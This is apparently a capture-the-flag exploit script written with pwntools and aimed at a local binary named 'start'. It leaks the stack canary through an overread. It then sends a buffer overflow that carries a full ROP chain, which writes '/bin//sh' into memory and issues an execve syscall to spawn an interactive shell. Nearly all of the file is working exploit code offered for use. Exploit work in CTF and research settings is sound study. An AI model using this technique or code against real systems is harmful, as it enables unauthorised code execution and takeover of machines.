#!/usr/bin/env python
# encoding: utf-8
from pwn import *
context.log_level = "debug"
from struct import pack
import time
# Padding goes here
p = ''
p += pack('<Q', 0x00000000004017f7) # pop rsi ; ret
p += pack('<Q', 0x00000000006cc080) # @ .data
p += pack('<Q', 0x000000000047a6e6) # pop rax ; pop rdx ; pop rbx ; ret
p += '/bin//sh'
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x0000000000475fc1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004017f7) # pop rsi ; ret
p += pack('<Q', 0x00000000006cc088) # @ .data + 8
p += pack('<Q', 0x000000000042732f) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000475fc1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004005d5) # pop rdi ; ret
p += pack('<Q', 0x00000000006cc080) # @ .data
p += pack('<Q', 0x00000000004017f7) # pop rsi ; ret
p += pack('<Q', 0x00000000006cc088) # @ .data + 8
p += pack('<Q', 0x0000000000443776) # pop rdx ; ret
p += pack('<Q', 0x00000000006cc088) # @ .data + 8
p += p64(0x000000000047a6e6)
p += p64(59)
p += p64(0)
p += p64(0)
p += p64(0x0000000000468e75)
print(hex(len(p)))
print hex(len(p))
rop = p
r = process("./start")
# gdb.attach(r, '''
# # bp *0x0400B5C
# bp *0x0400B96
# c
# ''')
pause()
# it could send "b" *0x18 + "\n"
r.sendline("b" * ( 0x20 - 0x8 ))
time.sleep(0.2)
r.recvuntil("b" * ( 0x20 - 0x8 ))
r.recv(1)
cancary = u64("\x00" + r.recv(7))
log.info("get cancary: " + hex(cancary))
pause()
payload = "exit\n\x00"
payload += "b" * ( 0x20 - 0x8 - len(payload)) # padding for cancary
payload += p64(cancary)
payload += "A" * 8 # padding for ret
payload += rop # rip
print hex(len(payload))
r.sendline(payload)
time.sleep(0.2)
r.interactive()
